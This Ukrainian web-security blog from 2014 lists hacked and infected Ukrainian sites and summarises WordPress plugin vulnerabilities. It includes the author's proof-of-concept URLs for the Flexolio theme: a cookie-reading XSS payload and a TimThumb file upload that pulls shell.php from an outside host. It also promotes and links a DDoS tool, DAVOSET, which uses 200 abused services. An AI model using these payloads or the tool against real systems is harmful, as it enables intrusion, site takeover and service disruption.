Websecurity - Веб безпека

Після попереднього дослідження похаканих сайтів, приведу нову інформацію про взломані сайти. З числа українських сайтів.

• http://uzh-rda.gov.ua (хакером Gabby) - 07.04.2014 - похаканий державний сайт, зараз сайт вже виправлений адмінами
• http://bereg-rda.gov.ua (хакером Gabby) - 07.04.2014 - похаканий державний сайт, зараз сайт вже виправлений адмінами
• http://www.oczi.com.ua (хакером Darkcrowtr)
• http://lady-ukraine.com (хакером Erfan Nikotin) - 02.03.2014, зараз сайт не працює
• http://bezposrednikov.com.ua (хакером Erfan Nikotin) - 02.03.2014, зараз сайт не працює

В квітні, 16.04.2014, вийшла нова версія WordPress 3.9.

WordPress 3.9 це перший випуск нової 3.9 серії. В ній додано чимало покращень порівняно з попередніми версіями движка, а також виправлено чимало багів.

Серед головних покращень зокрема можна відзначити покращене візуальне редагування, спрощене редагування зображень, підтримка драг-енд-дропа зображень, попередній перегляд галерей зображень, додані аудіо та відео плейлісти, попередній перегляд віджетів та заголовків, нова тема по замовчуванню і новий браузер шаблонів для зручного управління шаблонами.

Окрім покращень для користувачів також було зроблено багато покращень для розробників.

Продовжуючи тему уразливостей в плагінах для WordPress, пропоную вам інформацію про дірки в інших плагінах для WP.

Цього разу повідомляю про уразливості в плагінах WP Realty, Persuasion та Recommend to a friend. Для котрих з’явилися експлоіти. WP Realty - це плагін для торгівлі нерухомістю, Persuasion - це тема движка, Recommend to a friend - це плагін для рекомендації друзям.

• WordPress WP Realty Cross Site Scripting (деталі)
• WordPress Persuasion Theme File Download / Deletion (деталі)
• WordPress Recommend Cross Site Scripting (деталі)

Користувачам даних плагінів варто або оновити їх, або власноруч виправити дірки. В якості тимчасового рішення, поки не будуть виправлені чи оновлені плагіни, можна їх виключити в адмінці.

Після попереднього дослідження інфікованих сайтів, приведу нову інформацію про заражені сайти. З числа українських сайтів.

• http://akelax.pp.ua - інфекція була виявлена 17.05.2014. Зараз сайт входить до переліку підозрілих.
• http://loads.com.ua - інфекція була виявлена 28.04.2014. Зараз сайт не входить до переліку підозрілих.
• http://bigmir.net - інфекція була виявлена 28.04.2014. Зараз сайт не входить до переліку підозрілих.
• http://newzz.in.ua - інфекція була виявлена 10.03.2014. Зараз сайт не входить до переліку підозрілих.
• http://evtuh-12.ucoz.ua - інфекція була виявлена 09.03.2014. Зараз сайт не входить до переліку підозрілих.

Після попереднього дослідження похаканих сайтів, приведу нову інформацію про взломані сайти. З числа українських сайтів.

• http://zakarpat-rada.gov.ua (хакером Gabby) - 07.04.2014 - похаканий державний сайт, зараз сайт вже виправлений адмінами
• http://zak-rada.gov.ua (хакером Gabby) - 07.04.2014 - похаканий державний сайт, зараз сайт вже виправлений адмінами
• http://buksport.cv.ua (хакером nuki)
• http://zfiz.nau.edu.ua (хакером Leon)
• http://www.flowers-dp.com (хакером Hmei7) - 02.03.2014, зараз сайт вже виправлений адмінами

Після попереднього дослідження інфікованих сайтів, приведу нову інформацію про заражені сайти. З числа українських сайтів.

• http://moemisto.com.ua - інфекція була виявлена 29.04.2014. Зараз сайт входить до переліку підозрілих.
• http://donline.dn.ua - інфекція була виявлена 10.03.2014. Зараз сайт не входить до переліку підозрілих.
• http://moemisto.kiev.ua - інфекція була виявлена 29.04.2014. Зараз сайт входить до переліку підозрілих.
• http://vicoil.com.ua - інфекція була виявлена 05.05.2014. Зараз сайт не входить до переліку підозрілих.
• http://meteoprog.ua - інфекція була виявлена 09.04.2014. Зараз сайт не входить до переліку підозрілих.

Продовжуючи тему уразливостей в плагінах для WordPress, пропоную вам інформацію про дірки в інших плагінах для WP.

Цього разу повідомляю про уразливості в плагінах Spider Video Player, TDO-Mini-Forms та Husker-Portfolio. Для котрих з’явилися експлоіти. Spider Video Player - це відео плеєр, TDO-Mini-Forms - це плагін для створення форм, Husker-Portfolio - це плагін для створення портфоліо.

• WordPress Spider Video Player 2.1 Cross Site Scripting (деталі)
• WordPress TDO-Mini-Forms Shell Upload (деталі)
• WordPress Husker-Portfolio Shell Upload (деталі)

Користувачам даних плагінів варто або оновити їх, або власноруч виправити дірки. В якості тимчасового рішення, поки не будуть виправлені чи оновлені плагіни, можна їх виключити в адмінці.

У квітні, 23.04.2014, я виявив Content Spoofing, Cross-Site Scripting, Full path disclosure, Abuse of Functionality, Denial of Service та Arbitrary File Upload уразливості в темі Flexolio для WordPress. Вона містить CU3ER і TimThumb.

Content Spoofing (WASC-12):

http://site/wp-content/themes/flexolio/inc/cu3er/cu3er.swf?xml=http://site2/1.xml

1.xml:

cu3er-1.xml

Cross-Site Scripting (WASC-08):

http://site/wp-content/themes/flexolio/inc/cu3er/cu3er.swf?xml=http://site2/xss.xml

xss.xml:

cu3er-2.xml

Для атаки між доменами потрібен crossdomain.xml на сайті з xml-файлами.

Cross-Site Scripting (WASC-08):

http://site/wp-content/themes/flexolio/inc/thumb.php?src=1%3Cbody%20onload=alert(document.cookie)%3E.jpg

Full path disclosure (WASC-13):

http://site/wp-content/themes/flexolio/inc/thumb.php?src=http://

А також Abuse of Functionality і DoS в уразливості в TimThumb та Arbitrary File Upload уразливість, що була оприлюднена через 3,5 місяці після оприлюднення мною попередніх дірок. Вони можливі в старих версіях теми, бо в останніх версіях теми в TimThumb заборонений доступ до зовнішніх сайтів.

Arbitrary File Upload (WASC-31):

http://site/wp-content/themes/flexolio/inc/thumb.php?src=http://site.com/shell.php

Full path disclosure (WASC-13):

FPD в php-файлах шаблону (по замовчуванню) або в error_log. В index.php та інших php-файлах.

http://site/wp-content/themes/flexolio/

Уразливі всі версії теми Flexolio.

Сьогодні вийшла нова версія програми DAVOSET v.1.2. Це Nuclear Edition. В цей день бажаю вам виключно мирного атому.

Враховуючи війну Путіна проти України, армія ботів може стати в нагоді. В новій версії:

• Додав підтримку Socks проксі.
• Додав нові сервіси в повний список зомбі.
• Прибрав неробочий сервіс з повного списку зомбі.

Всього в списку міститься 200 зомбі-сервісів, які готові нанести удар проти диктатури.

DDoS attacks via other sites execution tool (DAVOSET) - це інструмент для використання Abuse of Functionality уразливостей на одних сайтах, для проведення DoS і DDoS атак на інші сайти.

Скачати: DAVOSET_v.1.2.rar.

Після попереднього дослідження похаканих сайтів, приведу нову інформацію про взломані сайти. З числа українських сайтів.

• http://dazo.gov.ua (хакером Gabby) - 10.03.2014 - похаканий державний сайт, зараз сайт вже виправлений адмінами
• http://vrada.gov.ua (хакером Gabby) - 07.04.2014 - похаканий державний сайт, зараз сайт вже виправлений адмінами
• http://riddle.org.ua (хакером Hmei7) - 02.03.2014, зараз сайт вже виправлений адмінами
• http://buller.net.ua (хакерами з 1923Turk Grup)
• http://www.skypark.com.ua (хакером mustireiS) - 07.03.2014, зараз сайт вже виправлений адмінами